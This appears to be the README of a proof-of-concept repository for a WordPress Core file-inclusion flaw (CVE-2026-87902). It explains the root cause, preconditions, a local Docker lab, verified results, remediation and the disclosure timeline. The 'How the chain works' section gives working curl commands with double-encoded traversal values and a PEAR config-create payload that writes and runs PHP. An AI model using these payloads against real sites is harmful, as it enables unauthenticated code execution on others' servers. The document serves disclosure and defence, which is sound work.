Unauthenticated local PHP file inclusion in WordPress Core via a double-encoded
pagename value — and, under specific deployment conditions, PHP code execution
with the web-server account's privileges.
| CVE | CVE-2026-87902 |
| Vendor advisory | GHSA-7hp8-65ch-5whp |
| Write-up | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Affected | WordPress Core 4.7.0 – 7.1.1 (every branch, per the advisory's per-branch ranges); reproduced dynamically on 7.0.2 |
| Fixed | 7.1.2 (7.1 branch), 7.0.6 (7.0 branch) and a backport for every branch down to 4.7.37 (per the advisory) |
| Weaknesses | CWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (supplemental) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| Authentication | none — no account, cookie, nonce, session, plugin, or outbound request |
| User interaction | none |
| Author | Robert Ressl — ressl.ch |
| PoC verified | 2026-09-22 against the lab in this repository — see Verified results |
Summary
WordPress resolves a Page template through a chain that never proves the selected file stays inside a theme root:
pagenameandpage_idare public query variables thatWP::parse_request()accepts from an anonymousPOSTbody.- A double-encoded traversal in
pagenamesurvives the early query sanitization as escaped%xxoctets (wp_basename()cannot see%2fas a separator, andsanitize_title_with_dashes()deliberately keeps valid octets). - A valid
page_idthen selects a real published Page, while the maliciouspagenameremains in the query object. get_page_template()later callsurldecode()on that value and adds a candidate such aspage-templates/../../../../../../../usr/local/lib/php/pearcmd.phpto the template hierarchy.locate_template()and the final template loader only check existence, readability and the.php/.htmlsuffix — never that the canonical path is still inside an allowed theme root — and thenincludeit.
That is an unauthenticated remote local-file-inclusion primitive in WordPress
Core. On the tested official runtime (wordpress:php8.3-apache, which bundles
PEAR and loads no php.ini, so register_argc_argv is On), the inclusion was
chained through PEAR's pearcmd.php: a first anonymous request makes
config-create write attacker-controlled PHP into /tmp, a second anonymous
request includes that file and executes it as www-data.
The missing path containment in Core is the vulnerability. PEAR is only one environment-dependent route from inclusion to code execution — it is not a WordPress dependency and is not present or usable in every deployment.
Root cause
Verified source locations (WordPress 7.0.2):
| # | Location | Role |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 |
pagename and page_id are public query vars and are read from $_POST |
| 2 | wp-includes/class-wp-query.php:2205 |
sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f is not a separator to wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 |
sanitize_title_with_dashes() preserves valid %xx octets instead of removing them |
| 4 | wp-includes/template.php:492 |
$pagename_decoded = urldecode( $pagename ); — the traversal becomes active after sanitization |
| 5 | wp-includes/template.php:722-736 |
locate_template() concatenates the candidate below each theme root and only calls file_exists() |
| 6 | wp-includes/template-loader.php:116-132 |
realpath() normalizes the path, then include runs with no canonical root-containment check |
| 7 | wp-includes/canonical.php:42-47 |
redirect_canonical() returns early for non-GET/HEAD, so a POST is not canonicalized away |
Preconditions
The standalone inclusion primitive needs:
| # | Precondition | Reason |
|---|---|---|
| 1 | A published, anonymously reachable Page selected by numeric page_id |
the page must be returned by the query after the pathname lookup fails |
| 2 | No earlier resolvable custom page template | a valid assigned template is ordered before the malicious candidate |
| 3 | A top-level directory in the active (child or parent) theme whose name starts with page-, e.g. page-templates/ |
WordPress prepends the fixed page- prefix, so a .. traversal cannot start at position 0; the directory only has to exist and be traversable — it does not have to be writable |
| 4 | A selected local .php file that exists and is readable by the PHP user |
the loader checks is_file()/is_readable() and requires a .php suffix |
| 5 | No filesystem confinement blocking that file | an open_basedir or MAC policy can prevent the include |
The demonstrated PEAR stage additionally needs a readable pearcmd.php (plus its
dependencies), register_argc_argv=On for the web SAPI, and a writable output
directory. Production php.ini files set register_argc_argv=Off; the tested
image loads no php.ini, so the compiled default (On) applied. This is an
important limit on the prevalence of the demonstrated code-execution chain.
The bundled Twenty Twenty-Three/Four/Five themes ship no top-level page-*
directory, so the stock lab needs the fixture described below. Custom themes can
legitimately use a page-templates/ layout
(WordPress documentation).
The advisory records where these conditions occur in shipped software: the theme
condition is met by the legacy Twenty Twelve and Twenty Fourteen themes and by
third-party themes such as Neve, Hestia and Sydney, while the PEAR transition
applies to the official PHP Docker image and to default cPanel configurations
running PHP older than 8.5. (Twenty Twelve and Twenty Fourteen both ship a
top-level page-templates/ directory; the remaining statements are the
advisory's.) This repository does not measure how often the full chain
applies.
Quick start
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py needs Python 3.6+ (standard library only) and reaches the lab at
http://127.0.0.1:8091 by default. Expected output:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Exit code is 0 on success and 1 otherwise, so the PoC also works as a
regression/detection check.
Teardown: docker compose down -v.
Verified results
Run on 2026-09-22 against this lab (Docker 29.4, OrbStack, Apple silicon):
| Check | Result |
|---|---|
| Stage 1 | HTTP 200; /tmp/wp-pear-rce-flag.php written as www-data:www-data, mode 0644, 1219 bytes |
| Payload SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identical to the hash recorded in the original report |
| Stage 2 | HTTP 200; the injected PHP printed the mode-0444 proof artifact |
| Marker occurrences | 12 (PEAR serializes the controlled root value into 12 config entries) |
| Credentials used | none — no Cookie or Authorization header in any request |
| Negative control | page-templates/ removed → stage 2 returns the normal page, no marker, exit code 1 |
The proof artifact is /flag, root-owned and world-readable (root:root, mode
0444) inside the container. It proves PHP execution and file access as the
web-server account; it is not a privilege-escalation target.
How the chain works
Two anonymous POSTs. WordPress routing values travel in the form body, the
PEAR arguments in the raw query string (PHP splits the raw query string on
literal + into argv and does not URL-decode the individual arguments):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Stage 1 — include pearcmd.php and write the payload:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Stage 2 — include the generated file and run its PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Details that matter:
- Two encoding layers. The body is decoded once by PHP into
templates%2f%2e%2e%2f...; the sanitizer keeps those octets, and onlyget_page_template()'s lateurldecode()turns them into/and... page-prefix. WordPress prependspage-to the value, so the fixture directorypage-templates/corresponds to the leadingtemplatessegment.- Forced
.phpsuffix. The candidate ispage-<decoded>.php, which is why the target is given without a suffix (.../pearcmd,/tmp/wp-pear-rce-flag). POST, notGET.redirect_canonical()skips non-GET/HEAD requests, and the form body lets the query string carry only the PEAR arguments.- Quote-free payload.
wp_magic_quotes()also runs over$_SERVER, so the server-builtargvis escaped and PEAR later normalizes the backslashes. The verified payload useschr()and contains no quote characters. (It reduces to<?=file_get_contents('/flag')?>.) config-createroot path. PEAR rejects a relative root (Root directory must be an absolute path beginning with "/"), so the payload is injected as the root path itself.- Depth.
cve-2026-87902.pywalks..segments until the traversal reaches the target (7for the layout of this lab,--depthto pin it).
Lab
lab/up.sh performs three steps and is safe to re-run:
docker compose up -d --build --wait— pinnedwordpress:7.0.2-php8.3-apacheplusmysql:8.4, port127.0.0.1:8091(loopback only).- Runs the WordPress installer (
admin/adminadmin) if the site is not installed yet. - Creates the fixture inside the active theme and prints it:
wp-content/themes/twentytwentyfive/page-templates/,root:root, mode0755, empty.
The lab image adds register_argc_argv=On explicitly (lab/Dockerfile) instead
of relying on the compiled default, and bakes in /flag
(root:root, mode 0444, content CVE-2026-87902-POC-OK).
| Component | Value |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, Apache module |
| PEAR | 1.10.18 at /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv |
On |
| Theme | Twenty Twenty-Five + empty root-owned page-templates/ fixture |
| Target Page | published Sample Page, ID 2, default template |
| Proof artifact | /flag, root:root, mode 0444 |
The rolling
wordpress:php8.3-apachetag is not usable for this lab: the bug is fixed in 7.1.2 and an unpinned tag silently turns the lab patched.
Negative controls and limitations
Verified or documented controls:
- No top-level
page-*directory in the theme → the fixed prefix cannot be removed and the traversal never starts (verified: fixture removed → no marker). register_argc_argv=Off→ no PEAR writer, but the inclusion primitive remains.- PEAR or its dependencies absent → no writer.
- Wrong number of
..segments → target not reached (verified: depths 1-6 and 8-12 produce no marker in the lab). - A custom page template assigned to the Page → ordered before the malicious candidate and wins.
- An unsuffixed file (e.g.
/flag) cannot be read directly — the candidate gets.phpappended. - A WAF/CDN/reverse proxy that rejects raw
<,>,=bytes in the request target breaks the PEAR argument channel (deployment-specific). open_basedir/MAC confinement or a non-writable output directory breaks the chain;noexecon/tmpdoes not (PHP reads and interprets the file).
This PoC reproduces one verified configuration. It does not claim that every WordPress installation is exploitable, and it does not measure prevalence.
Remediation
- Upgrade to WordPress 7.1.2 or newer (or to the backport of your branch).
- Defense in depth for template handling: after decoding, reject traversal
and absolute candidates (e.g.
validate_file()), and before including a located template, comparerealpath()of candidate and theme root with a trailing directory separator. - Operator mitigations: set
register_argc_argv=Offfor web SAPIs, remove unused web-readable PEAR entry points from production images, audit child and parent themes for top-levelpage-*directories, and restrict write access for the PHP account.
Files
| Path | Purpose |
|---|---|
cve-2026-87902.py |
exploit: page detection, both stages, depth handling, marker verification |
lab/up.sh |
brings the lab into the exact state the exploit expects (idempotent) |
docker-compose.yml |
WordPress 7.0.2 + MySQL 8.4, loopback-only port |
lab/Dockerfile |
pins the vulnerable release, sets register_argc_argv=On, bakes /flag |
lab/flag |
content of the proof artifact |
Disclosure timeline
| Date | Event |
|---|---|
| 2026-07-20 | Reported privately through the WordPress HackerOne program |
| 2026-07-21 | Receipt acknowledged |
| 2026-09-15 | Informed that a fix was planned for an upcoming release; attribution details requested |
| 2026-09-22 | WordPress 7.1.2 released with the fix; advisory GHSA-7hp8-65ch-5whp published |
The report was accepted as a valid security finding after its initial classification was revised; the correspondence does not date that acceptance.
Disclaimer
This repository is published for defensive and research purposes. Use it only
against systems you own or are explicitly authorized to test. The lab is bound
to 127.0.0.1 and must not be exposed to untrusted networks.
Comments